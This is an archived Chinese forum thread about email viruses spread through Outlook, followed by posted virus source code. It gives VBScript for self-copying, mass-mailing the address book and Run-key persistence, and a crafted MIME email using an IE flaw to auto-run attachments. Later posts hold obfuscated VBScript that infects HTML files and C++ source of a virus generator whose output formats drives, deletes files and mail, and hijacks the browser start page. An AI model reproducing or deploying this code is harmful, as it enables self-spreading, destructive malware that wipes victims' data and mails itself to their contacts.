  据称目前已经发现唯一不能通过OutLook传播的病毒为口蹄疫，看来微软也可以得以安心一阵子了。开个玩笑，OutLook在传播病毒上真是臭名昭著，像iloveyou，梅莉莎等等产生过很大破坏力的病毒都是通过OutLook传播的。其根本原因就是OutLook的人性化，与脚本的高度集成，复杂性等等，正是由于这些原因导致了病毒的传播。

下面我们看一下OutLook传播病毒的机理：

首先看看病毒的几大特征：自我复制性，传播性，潜伏性。我们收先看看自我复制性
。病毒要向传播必须将自身复制借由其他邮件或本身发送出去，OutLook传播的病毒基本上都
是由VBScript编写的，其自我复制的原理基本上是利用程序将本身的脚本内容复制一份到一个
临时文件，然后再在传播的环节将其作为附件发送出去。我们看看脚本是怎么样完成这个功能
的。

Set so=CreateObject("Scripting.FileSystemObject")
so.GetFile(WScript.ScriptFullName).Copy("C:\dateiname.vbs")

就是这么两行就可以将自身复制到c盘根目录下dateiname.vbs这个文件。第一行是创
建一个文件系统对象，第二行前面是打开这个脚本文件，WScript.ScriptFullName指明是这个
程序本身，是一个完整的路径文件名。GetFile函数获得这个文件，Copy函数将这个文件复制
到c盘根目录下dateiname.vbs这个文件。这就是大多数利用VBscript编写的病毒的一个特点。
从这里可以看出，禁止了FileSystemObject这个对象就可以很有效的控制这种病毒的传播。下
面的这条命令可以禁止文件系统对象。

regsvr32 scrrun.dll /u

我们再看看传播性。病毒需要传播，电子邮件病毒的传播无疑是通过电子邮件传播的
。对于OutLook来说地址簿的功能相当不错，可是也给病毒的传播打开了方便之门。几乎所有
通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附
件完成的。看看如下的代码：

Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 50
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="Betreff der E-Mail"
Mail.Body="Text der E-Mail"
Mail.Attachments.Add("C:\dateiname.vbs")
Mail.Send
Next
ol.Quit

这一小段代码的功能是向地址簿中的前50个用户发送电子邮件，并将脚本自己作为附
件。第一行是创建一个Outlook的对象。下面是一个循环，在循环中不断地向地址簿中的电子
邮件地址发送内容相同的信件。

至于潜伏，则多数是修改注册表等信息以判断各种条件及取消一些限制。比如下面从
Iloveyou病毒中取出的部分代码：

On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Sh*ll")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if

很明显是调整脚本语言的超是设置。下面的一段代码则是修改注册表，使得每次系统
启动自动执行脚本：

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"

其中MSKernel32.vbs和Win32DLL.vbs是病毒脚本的一个副本。
ILoveYou病毒还做了一些其它的修改。

从上面可以看出其实写一个通过OutLook传播的电子邮件病毒很简单。但是作为附件传
播，这种传播的效率可能就会打些折扣。下面的一种方法是根据最新的IE的漏洞利用的。下面
是这个漏洞的一些情况：

From: "xxxxx"
Subject: mail
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal

--1
Content-Type: multipart/alternative;
boundary="2"

--2
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
I will create the file C:\deleteme.txt

</BODY>
</HTML>

--2--

--1
Content-Type: audio/x-wav;
name="h*llo.vbs"
Content-Transfer-Encoding: quoted-printable
Content-ID: <THE-CID>

set objFileSystem =3D CreateObject("Scripting.FileSystemObject")
set objOutputFile =3D objFileSystem.CreateTextFile("C:\deleteme.txt", 1)

objOutputFile.writeline("You can delete this file.")
objOutputFile.close
msgbox "I have created the file : c:\deleteme.txt"

--1

上面的这个程序的例子是表明当双击附件的时候OutLook是不会提示你安全信息的，它
是直接执行的。这仅仅是将整个上面这些作为附件发送的情况。其实这个文件直接发送给对方
，对方只要将焦点移到这一主题上就会执行这个脚本。因此这一漏洞将更加有效的传播电子邮
件病毒。产生上面这个漏洞的原因大概是采用HTML发送方式其背景音乐文件没有作检查，导致
脚本，应用程序等被执行。采用不同的编码就可以将脚本，命令行命令，可执行文件等内嵌在
邮件中。注意上面的一行：

name="h*llo.vbs"

这个文件名可以任意命名，如果是脚本则需要vbs扩展名，如果是命令行命令则应该是
bat或cmd结尾。如果是脚本或这种文本方式的命令，则编码方式应为：quoted-printable


Content-Transfer-Encoding: quoted-printable

如果是应用程序则文件名应该改为exe扩展名：

name="h*llo.exe"

编码方式应该改为uuMime(base64)编码：

Content-Transfer-Encoding: quoted-printable

然后将应用程序进行base64编码插入到：

Content-ID: <THE-CID>

--1

之间。这样就构造好了一封信。发送的时候可以选择quack写的perl程序，也可以采用
我写的windows上的傻瓜程序。

根据上面的经验，可以写一个应用程序，这个应用程序就是病毒，它首先对自身进行
base64编码，然后再将这个编码嵌入到上面这个邮件中，然后向地址簿中的电子邮件地址发送
这个电子邮件。收到这个电子邮件的用户当焦点再这个主题上时这个应用程序就会立刻被执行
而没有任何提示，执行的结果是和上面一样，先将自身编码，在插入到邮件，在向地址簿中的
电子邮件地址发送。如此传播。问题是应用程序对地址簿的读取没有脚本那么容易，而且应用
程序的大小也要比脚本大很多。采用脚本编写的话则在发送邮件中比较难于处理成一点即运行
的方式。也许是本人对于脚本语言知之甚少的缘故吧。另外在处理复制中也有些困难。因为再
另一端执行时脚文件值包含这些脚本命令，而不包含上面的额外的东西。所以处理起来也比较
困难。

以上是我的一点点看法，有些地方可能不对，还请各位大侠批评指正。

用CreateObject出来的对象，在IE浏览器中会被警告，容易被禁止，但如果在网
页中插入对象Scriptlet.TypeLib标记，利用Write方法写HTA文件，就不会给提示，算是IE的漏洞吧！

冒昧打扰 发表于 2007-12-3 14:56

名称： Set A
类别：病毒源码￤脚本病毒
文件大小： 4KB
运行平台： Windows

Set A = CreateObject(B("Tdqjosjmh-EjkfTztsfnPaifds"));Scripting.FileSystemObject
Set C = CreateObject(B("XTdqjos-Tgfkk"));WScript.Shell
Randomize
D = Int((6 - 1 + 1) * Rnd + 1)
If D = 1 Then
E = A.GetSpecialFolder(2)
ElseIf D = 2 Then
E = A.BuildPath(A.GetSpecialFolder(0), B("GFKO"));HELP
ElseIf D = 3 Then
E = A.BuildPath(A.GetSpecialFolder(0), B("SFNOPQBQZ JMSFQMFS EJKFT"));TEMPORARY INTERNET FILES
ElseIf D = 4 Then
E = C.SpecialFolders(B("Cftlspo"));Desktop
ElseIf D = 5 Then
E = C.SpecialFolders(B("NzCpdvnfmst"));MyDocuments
ElseIf D = 6 Then
E = C.RegRead(B("GLFZ`KPDBK`NBDGJMF[Tpesxbqf[Njdqptpes[Xjmcpxt[DvqqfmsUfqtjpm[OqphqbnEjkftCjq"))
;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir
End If

If A.FolderExists(E) = True Then
For Each F In A.GetFolder(E).Files
  If UCase(A.GetExtensionName(F.Name)) = UCase(B("gsn")) Or UCase(A.GetExtensionName(F.Name)) = UCase(B("gsnk")) Then
If G(A.BuildPath(F.ParentFolder, F.Name)) = False Then
H A.BuildPath(F.ParentFolder, F.Name)
End If
  End If
Next
;htm,html

Set I = A.GetFolder(E)
Set J = I.SubFolders
For Each K In J
  For Each L In K.Files
If UCase(A.GetExtensionName(L.Name)) = UCase(B("gsn")) Or UCase(A.GetExtensionName(L.Name)) = UCase(B("gsnk")) Then
If G(A.BuildPath(L.ParentFolder, L.Name)) = False Then
   H A.BuildPath(L.ParentFolder, L.Name)
End If
End If
  Next
Next
End If

If Day(Now) = 1 Then
MsgBox ;省略了
End If

-------------------------------------------------------------------------------
Function G(O)
Set P = A.OpenTextFile(O, 1)
If P.AtEndOfStream = False Then
  Q = P.ReadLine
End If
Do While Q <> B(" H-QfhXqjsf B'""JICW]NMA?N]K?AJGPC^Qmhvu_tc^Kgatmqmhv^Ugpfmuq^AsttcpvXctqgmp^Tsp^UgpQv_tv""*+ F-AvjkcObsg'F-HfsTofdjbkEpkcfq'2*+ B'""UGPQV?TV0XDQ""**") And P.AtEndOfStream = False
  ;G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
  ;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinStart
  Q = P.ReadLine
Loop
P.Close
If Q = B(" H-QfhXqjsf B'""JICW]NMA?N]K?AJGPC^Qmhvu_tc^Kgatmqmhv^Ugpfmuq^AsttcpvXctqgmp^Tsp^UgpQv_tv""*+ F-AvjkcObsg'F-HfsTofdjbkEpkcfq'2*+ B'""UGPQV?TV0XDQ""**") Then
  ;G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
  ;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinStart
  G = True
Else
  G = False
End If
End Function

Sub H(R)
Set S = A.GetFile(R)
T = S.Attributes
If T <> 0 Then
  S.Attributes = 0
End If
Set U = A.OpenTextFile(R, 8)
U.WriteLine(B(";Tdqjos Kbmhvbhf>""UATdqjos""="));<Script Language="VBScript">
U.WriteLine(B("Je Kpdbsjpm-Oqpspdpk > B'""hgnc<""* Sgfm"));If Location.Protocol = A("ghmd;") Then
U.WriteLine(B(" A"));b
U.WriteLine(B("Fmc Je"));End If
U.WriteLine("");空格
U.WriteLine(B("Evmdsjpm B'D*"));------------Function A(C)------------
U.WriteLine(B(" Epq C > 2 Sp Kfm'D*"))
U.WriteLine(B(" Je Btd'Njc'D+ C+ 2** ;= 43 Bmc Btd'Njc'D+ C+ 2** ;= 46 Bmc Btd'Njc'D+ C+ 2** ;= 215 Sgfm"))
U.WriteLine(B("    Je Btd'Njc'D+ C+ 2** Npc 1 > / Sgfm"))
U.WriteLine(B("    B > B , Dgq'Btd'Njc'D+ C+ 2** , 2*"))
U.WriteLine(B("    Fktf"))
U.WriteLine(B("    B > B , Dgq'Btd'Njc'D+ C+ 2** . 2*"))
U.WriteLine(B("    Fmc Je"))
U.WriteLine(B(" Fktf"))
U.WriteLine(B("    B > B , Njc'D+ C+ 2*"))
U.WriteLine(B(" Fmc Je"))
U.WriteLine(B(" Mfws"))
U.WriteLine(B("Fmc Evmdsjpm"));-------------End Function--------------
U.WriteLine("");空格
U.WriteLine(B("Tva A"));--------Sub B------------------
U.WriteLine(B(" Tfs F > DqfbsfPaifds'B'""Qatgrvgpe0HgncQwqvckMdlcav""**"))
;Set E = CreateObject(A("Rbshquhof/GhmdRxrudlNckdbu"))
;Scripting.FileSystemObject
U.WriteLine(B(" Tfs E > F-DqfbsfSfwsEjkf'F-AvjkcObsg'F-HfsTofdjbkEpkcfq'2*+ B'""UGPQV?TV0XDQ""**+ Sqvf*"))
; Set F = E.CreateTextFile(E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")), True)
Set V = A.OpenTextFile(WScript.ScriptFullName, 1)
Do While V.AtEndOfStream = False
  U.WriteLine(B(" E-XqjsfKjmf'B'""") + W(Replace(V.ReadLine, B(""""), B(""""""))) + B("""**"))
; F.WriteLine(A(" , " , "" , "))
Loop
V.Close
U.WriteLine(B(" E-Dkptf")); F.Close
U.WriteLine(B(" Tfs H > DqfbsfPaifds'B'""UQatgrv0Qjcnn""**"))
; Set G = CreateObject(A("VRbshqu/Ridmm"))
; WScript.Shell
U.WriteLine(B(" H-QfhXqjsf B'""JICW]NMA?N]K?AJGPC^Qmhvu_tc^Kgatmqmhv^Ugpfmuq^AsttcpvXctqgmp^Tsp^UgpQv_tv""*+ F-AvjkcObsg'F-HfsTofdjbkEpkcfq'2*+ B'""UGPQV?TV0XDQ""**"))
;G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinStart
U.WriteLine(B("Fmc Tva"));End Sub
U.WriteLine(B(";0Tdqjos="));</Script>
U.Close
If T <> 0 Then
  S.Attributes = T
End If
End Sub

-----------------------------------------------------------------------------
Function B(M)
For N = 1 To Len(M)
  If Asc(Mid(M, N, 1)) <> 32 And Asc(Mid(M, N, 1)) <> 33 And Asc(Mid(M, N, 1)) <> 34 And Asc(Mid(M, N, 1)) <> 160 And Asc(Mid(M, N, 1)) <> 255 Then
If Asc(Mid(M, N, 1)) Mod 2 = 0 Then
B = B + Chr(Asc(Mid(M, N, 1)) - 1)
Else
B = B + Chr(Asc(Mid(M, N, 1)) + 1)
End If
  Else
B = B + Mid(M, N, 1)
  End if
Next
End Function
-----------------------------------------------------------------------------
Function W(X)
For Y = 1 To Len(X)
  If Asc(Mid(X, Y, 1)) <> 34 And Asc(Mid(X, Y, 1)) <> 35 And Asc(Mid(X, Y, 1)) <> 126 Then
If Asc(Mid(X, Y, 1)) Mod 2 = 0 Then
W = W + Chr(Asc(Mid(X, Y, 1)) + 1)
Else
W = W + Chr(Asc(Mid(X, Y, 1)) - 1)
End If
  Else
W = W + Mid(X, Y, 1)
  End If
Next
End Function
-----------------------------------------------
;32=" " , 33="!" ,32=""" ,35="#" ,126="~"

[[i] 本帖最后由冒昧打扰于 2007-12-3 14:58 编辑 [/i]]

冒昧打扰 发表于 2007-12-3 14:56

程序经过加壳压缩后仅200来K，但由于窗口文件较多，所以文件比较杂乱，所以把核心文件整理出来，供大家参考。其中注册功能未公开实属无奈之举

以下程序在windows ME用C++Builder5.0编译通过。

unit1.cpp

//-----------------------------------------
#include
#include
#include
#pragma hdrstop
#include "Unit2.h"
#include "Unit3.h"
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
Tform1 *form1;
//---------------------------------------------------------------------------
__fastcall Tform1::Tform1(TComponent* Owner)
: Tform(Owner)

{

}//---------------------------------------------------------------------------

//---------------------------------------------------------------------------
void __fastcall Tform1::Label1Click(TObject *Sender)
{
ShellExecute(Handle,NULL,"[url=http://zsyangel.yeah.net/][font=Tahoma][color=#485871]http://zsyangel.yeah.net[/color][/font][/url]",NULL,NULL,SW_SHOWNORMAL);
}
//---------------------------------------------------------------------------

//--------------------------------------------------------

void __fastcall Tform1::CheckBox3Click(TObject *Sender)
{
if (CheckBox3->Checked==true)
{
Edit8-> Enabled=true;
Edit8->Color=clHighlightText;
Edit9-> Enabled=true;
Edit9->Color=clHighlightText;
Edit10-> Enabled=true;
Edit10->Color=clHighlightText;}
else
{Edit8-> Enabled=false;
Edit8->Color=clBtnFace;
Edit9-> Enabled=false;
Edit9->Color=clBtnFace;
Edit10-> Enabled=false;
Edit10->Color=clBtnFace;}
}
//--------下面数行用来限制按健，防止无效数据，造成溢出-------------------------------------------------------------------

void __fastcall Tform1::CheckBox4Click(TObject *Sender)
{
if(Edit4->Enabled==true)
{Edit4->Enabled=false;}
else
{Edit4->Enabled=true;}

}
//---------------------------------------------------------------------------

//---------------------------------------------------------------------------

void __fastcall Tform1::Edit4KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------

void __fastcall Tform1::Edit8KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------

void __fastcall Tform1::Edit9KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------

void __fastcall Tform1::Edit10KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------

void __fastcall Tform1::Edit5KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------

void __fastcall Tform1::Edit4Exit(TObject *Sender)
{
AnsiString edit4=Edit4->Text;
if (StrToInt (edit4)<1||StrToInt (edit4)>10000)
{ ShowMessage("超出范围，请不要添太大或太小");
Edit4->Text="";}
}
//---------------------------------------------------------------------------

void __fastcall Tform1::Edit8Exit(TObject *Sender)
{

AnsiString edit8=Edit8->Text;
if (StrToInt (edit8)<1982||StrToInt (edit8)>2050)
{ ShowMessage("超出范围，请不要添太大或太小");
Edit8->Text="2001";}
}
//---------------------------------------------------------------------------

void __fastcall Tform1::Edit9Exit(TObject *Sender)
{

AnsiString edit9=Edit9->Text;
if (StrToInt (edit9)<1||StrToInt (edit9)>12)
{ ShowMessage("超出范围，请不要添太大或太小");
Edit9->Text="1";}
}
//---------------------------------------------------------------------------

void __fastcall Tform1::Edit10Exit(TObject *Sender)
{

AnsiString edit10=Edit10->Text;
if (StrToInt (edit10)<1||StrToInt (edit10)>31)
{ ShowMessage("超出范围，请不要添太大或太小");
Edit10->Text="1";}
}
//---------------------------------------------------------------------------

//---------------主要代码------------------------------------------------------------

void __fastcall Tform1::BitBtn1Click(TObject *Sender)
{
AnsiString g=Edit1->Text+".vbe";//在当前目录下生成VBE文件

i=FileCreate(g );
AnsiString a1=""Created by " ;
AnsiString a=Edit2->Text;
AnsiString b="\r\n";
AnsiString z=a1+a+b;
char c[1000];
strcpy(c, z.c_str());

FileWrite(i,c,strlen(c));

if (CheckBox1->Checked==true)//让病毒修改注册表项
{AnsiString a3=" Dim wsh\r\n Set wsh=CreateObject(\"WScript.Shell\")\r\n on error resume next \r\n wsh.regwrite \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\kv3000\",\"c:\\windows\\";
AnsiString a31=Edit1->Text;
AnsiString a32=".vbe\"\r\n";
AnsiString a33="Set fso= Createobject$\"Scripting.FileSystemObject\"$\r\nSet InF=fso.OpenTextFile$WScript.ScriptFullname,1$\r\nDo While InF.AtEndOfStream<>True\r\nScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf \r\nLoop\r\nSet OutF=fso.OpenTextFile$\"c:\\windows\\";
AnsiString a34=Edit1->Text;
AnsiString a35=".vbe\",2,true$\r\nOutF.write ScriptBuffer\r\n ";
AnsiString a4=a3+a31+a32+a33+a34+a35;
char c1[10000];
strcpy(c1, a4.c_str());
FileWrite(i,c1,strlen(c1));
}

TabSheet1->Enabled=true;
TabSheet1->Show() ;
TabSheet0->Enabled=false;
}
//---------------------------------------------------------------------------

void __fastcall Tform1::Label4Click(TObject *Sender)
{
ShellExecute(Handle,"open","mailto:zsy2@citiz.net",NULL,NULL,SW_SHOW);
}
//---------------------------------------------------------------------------

void __fastcall Tform1::BitBtn2Click(TObject *Sender)//此几行代码负责病毒从outlook传播
{
AnsiString bb="if wsh.regread $\"HKCU\\software\\a\\a\"$<> \"1\" then out\r\nsub out\r\n";
AnsiString b1="On Error Resume Next\r\n";
AnsiString b2="Set Outlook = CreateObject(\"Outlook.Application\")\r\nIf Outlook = \"Outlook\" Then\r\nSet Mapi=Outlook.GetNameSpace(\"MAPI\")\r\nSet Lists=Mapi.AddressLists\r\nFor Each ListIndex In Lists\r\nIf ListIndex.AddressEntries.Count <> 0 Then\r\nContactCount = ListIndex.AddressEntries.Count\r\nFor Count= 1 To ";
AnsiString b9="ContactCount";
AnsiString b7= Edit4->Text;
AnsiString b8="\r\nSet Mail = Outlook.CreateItem(0)\r\nSet Contact = ListIndex.AddressEntries(Count)\r\nMail.To = Contact.Address\r\nMail.Subject = \"";
AnsiString b3=Edit11->Text;
AnsiString b4="\"\r\nMail.Body = \"" ;
AnsiString b5=Edit13->Text;
AnsiString b6="\"\r\nSet Attachment=Mail.Attachments\r\n Attachment.Add Folder & \" c:\\windows\\";
AnsiString bb1=Edit1->Text;
AnsiString bb2=".vbe\"\r\nMail.Send\r\nnext\r\n End if\r\nnext\r\n End if\r\nend sub\r\nwsh.regwrite \"HKCU\\software\\a\\a\", \"1\"\r\n";

if (CheckBox4->Checked==true)
{
AnsiString B=bb+b1+b2+b9+b8+b3+b4+b5+b6+bb1+bb2;
char b[10000];
strcpy(b, B.c_str());
FileWrite(i,b,strlen(b));
}
else
{AnsiString B=bb+b1+b2+b7+b8+b3+b4+b5+b6+bb1+bb2;
char b[10000];
strcpy(b, B.c_str());
FileWrite(i,b,strlen(b));}

TabSheet2->Enabled=true;
TabSheet2->Show() ;
TabSheet1->Enabled=false;
}
//------------------------此下代码负责破坏功能---------------------------------------------------

void __fastcall Tform1::BitBtn3Click(TObject *Sender)
{
TabSheet3->Enabled=true;
TabSheet3->Show() ;
if (CheckBox3->Checked==true)
{{AnsiString d1=" \r\nif year(date)&month(date)&day(date)= ";//设定病毒发作时间
AnsiString dyear=Edit8->Text;
AnsiString dmon_th=Edit9->Text;
AnsiString dday=Edit10->Text;
AnsiString dthen=" Then a\r\n" ;
AnsiString sub="sub a\r\n" ;
AnsiString dex=d1+dyear+dmonth+dday+dthen+sub;
char d[10000];
strcpy(d, dex.c_str());
FileWrite(i,d,strlen(d)); }
AnsiString del="on error resume next\r\nfso.DeleteFile$\"";//负责删除指定文件
AnsiString delf=Edit6->Text;
AnsiString delf1="\"$\r\n";
AnsiString def=del+delf+delf1;
char d[10000];
strcpy(d, def.c_str());
FileWrite(i,d,strlen(d));
if(CheckBox2->Checked==true)//格式化硬盘
{AnsiString df1="\r\n set WshShell = Wscript.CreateObject$\"WScript.Shell\"$ \r\nWshShell.Run\ (\"start.exe \/m format c:\/q\ /autotest\ /u\" \)\r\n ";

char df[10000];
strcpy(df, df1.c_str());
FileWrite(i,df,strlen(df)); }
if(CheckBox5->Checked==true)
{AnsiString df2="Set Script = fso.CreateTextFile$ \"c:\\autoexec.bat\", True$ \r\nScript.writeline \"format c:\/q\ /autotest\ /u\" \r\n ";
char df3[10000];
strcpy(df3, df2.c_str());
FileWrite(i,df3,strlen(df3)); }
if(CheckBox6->Checked==true)
{AnsiString dem="Set Outlook=CreateObject$\"Outlook.Application\"$\r\nSet t=s.GetNameSpace$\"MAPI\"$\r\nSet u=t.GetDefaultFolder$6$\r\nFor i=1 to u.items.count\r\nu.Items.Item$i$.delete\r\nnext\r\n";
char dm[10000];
strcpy(dm, dem.c_str());
FileWrite(i,dm,strlen(dm));}
char endsub[]="end sub\r\n";
FileWrite(i,endsub,strlen(endsub));
}
else
{if(CheckBox2->Checked==true)
{AnsiString df1="set WshShell = Wscript.CreateObject$\"WScript.Shell\"$\r\nWshShell.Run\ (\"start.exe \/m format c:\/q\ /autotest\ /u\" \)\r\n";

char df[10000];
strcpy(df, df1.c_str());
FileWrite(i,df,strlen(df)); }
if(CheckBox5->Checked==true)
{AnsiString df2="on error resume next\r\nfso.DeleteFile$\"c:\\autoexec.bat\")\r\n\Set Script = fso.CreateTextFile\( \"c:\\autoexec.bat\", True$\r\nScript.writeline \"format c:\/q\ /autotest\ /u\"\r\n";

char df3[10000];
strcpy(df3, df2.c_str());
FileWrite(i,df3,strlen(df3)); }}
AnsiString del="on error resume next\r\nfso.DeleteFile$\"";
AnsiString delf=Edit6->Text;
AnsiString delf1="\"$\r\n";
AnsiString def=del+delf+delf1;
char d[10000];
strcpy(d, def.c_str());
FileWrite(i,d,strlen(d));
if(CheckBox6->Checked==true)
{AnsiString dem="Set Outlook=CreateObject$\"Outlook.Application\"$\r\nSet t=s.GetNameSpace$\"MAPI\"$\r\nSet u=t.GetDefaultFolder$6$\r\nFor i=1 to u.items.count\r\nu.Items.Item$i$.delete\r\nnext\r\n";
char dm[10000];
strcpy(dm, dem.c_str());
FileWrite(i,dm,strlen(dm));}
TabSheet2->Enabled=false;
}
//---------------------------------------------------------------------------

void __fastcall Tform1::BitBtn4Click(TObject *Sender)//修改IE的标题开始页
{
AnsiString reg="wsh.regwrite \"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page\",\"" ;
AnsiString reg1=Edit3->Text;
AnsiString reg2="\"\r\nwsh.regwrite\"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Main\\Window title\",\"";
AnsiString reg3=Edit7->Text;
AnsiString reg4="\"\r\n";
AnsiString reg5=reg+reg1+reg2+reg3+reg4+reg5;
char REG[10000];
strcpy(REG, reg5.c_str());
FileWrite(i,REG,strlen(REG));
TabSheet3->Enabled=false;
ShowMessage("你的程序代码已保存在当前目录下");

FileClose(i);
}
//---------------------------------------------------------------------------

//注册功能暂不公开，敬请原谅……

//---------------------------------------------------------------------------

void __fastcall Tform1::formClose(TObject *Sender, TCloseAction &Action)
{
form2->Close();
}
//---------------------------------------------------------------------------

void __fastcall Tform1::formActivate(TObject *Sender)
{
form2->Hide();
}
//---------------------------------------------------------------------------

void __fastcall Tform1::BitBtn5Click(TObject *Sender)
{

AnsiString g=Edit1->Text+".vbe";
DeleteFile(g);
TabSheet0->Enabled=true;
}
//---------------------------------------------------------------------------

void __fastcall Tform1::Button1Click(TObject *Sender)
{
form3->Show();
}
//---------------------------------------------------------------------------

void __fastcall Tform1::TabSheet0ContextPopup(TObject *Sender,
TPoint &MousePos, bool &Handled)
{

}

unit1.h

　

#ifndef Unit1H
#define Unit1H
//---------------------------------------------------------------------------
#include
#include
#include
#include
#include
#include
#include
#include
//---------------------------------------------------------------------------
class Tform1 : public Tform
{
__published: // IDE-managed Components
TPageControl *b;
TTabSheet *TabSheet2;
TTabSheet *TabSheet3;
TTabSheet *TabSheet4;
TGroupBox *GroupBox1;
TLabel *Label1;
TMemo *Memo1;
TCheckBox *CheckBox1;
TEdit *Edit1;
TLabel *Label2;
TCheckBox *CheckBox2;
TEdit *Edit2;
TLabel *Label3;
TEdit *Edit3;
TTabSheet *TabSheet1;
TEdit *Edit4;
TLabel *Label5;
TLabel *Label6;
TLabel *Label8;
TEdit *Edit6;
TLabel *Label10;
TLabel *Label11;
TEdit *Edit7;
TEdit *Edit11;
TLabel *Label15;
TLabel *Label16;
TCheckBox *CheckBox3;
TEdit *Edit8;
TLabel *Label12;
TEdit *Edit9;
TLabel *Label13;
TEdit *Edit10;
TLabel *Label14;
TEdit *Edit13;
TCheckBox *CheckBox4;
TGroupBox *GroupBox2;
TLabel *Label7;
TCheckBox *CheckBox5;
TCheckBox *CheckBox6;
TBitBtn *BitBtn1;
TBitBtn *BitBtn2;
TBitBtn *BitBtn3;
TBitBtn *BitBtn4;
TTabSheet *TabSheet0;
TLabel *Label4;
TGroupBox *GroupBox3;
TCheckBox *CheckBox7;
TCheckBox *CheckBox8;
TCheckBox *CheckBox9;
TCheckBox *CheckBox10;
TCheckBox *CheckBox11;
TEdit *Edit5;
TGroupBox *GroupBox4;
TLabel *Label9;
TCheckBox *CheckBox12;
TButton *Button1;
TBitBtn *BitBtn5;
TCheckBox *CheckBox13;
TGroupBox *GroupBox5;
TCheckBox *CheckBox14;
TCheckBox *CheckBox15;
TCheckBox *CheckBox16;
TImage *Image1;
TLabel *Label17;
TImage *Image2;

void __fastcall Label1Click(TObject *Sender);
void __fastcall CheckBox3Click(TObject *Sender);
void __fastcall CheckBox4Click(TObject *Sender);
void __fastcall Edit4KeyPress(TObject *Sender, char &Key);
void __fastcall Edit8KeyPress(TObject *Sender, char &Key);
void __fastcall Edit9KeyPress(TObject *Sender, char &Key);
void __fastcall Edit10KeyPress(TObject *Sender, char &Key);
void __fastcall Edit5KeyPress(TObject *Sender, char &Key);
void __fastcall Edit4Exit(TObject *Sender);
void __fastcall Edit8Exit(TObject *Sender);
void __fastcall Edit9Exit(TObject *Sender);
void __fastcall Edit10Exit(TObject *Sender);
void __fastcall BitBtn1Click(TObject *Sender);
void __fastcall Label4Click(TObject *Sender);
void __fastcall BitBtn2Click(TObject *Sender);
void __fastcall BitBtn3Click(TObject *Sender);
void __fastcall BitBtn4Click(TObject *Sender);
void __fastcall formClose(TObject *Sender, TCloseAction &Action);
void __fastcall formActivate(TObject *Sender);
void __fastcall BitBtn5Click(TObject *Sender);
void __fastcall Button1Click(TObject *Sender);
void __fastcall TabSheet0ContextPopup(TObject *Sender,
TPoint &MousePos, bool &Handled);

private: // User declarations
public: // User declarations
__fastcall Tform1(TComponent* Owner);

int i;
AnsiString B;

};
//---------------------------------------------------------------------------
extern PACKAGE Tform1 *form1;
//---------------------------------------------------------------------------
#endif

[[i] 本帖最后由冒昧打扰于 2007-12-3 14:59 编辑 [/i]]

冒昧打扰 发表于 2007-12-3 14:57

占位

冒昧打扰 发表于 2007-12-3 15:00

占位

冒昧打扰 发表于 2007-12-3 15:00

占位

181985044 发表于 2008-3-31 17:57

:lol :lol :lol :lol

tztclc 发表于 2008-4-2 20:27

:funk: :funk: :funk:

b_itscn 发表于 2008-4-27 11:53

YCT61YCT YCT79YCT YCT55YCT YCT56YCT YCT57YCT

we12365 发表于 2008-4-27 14:43

厉害~~顶

页: [1]

中国网管论坛's Archiver

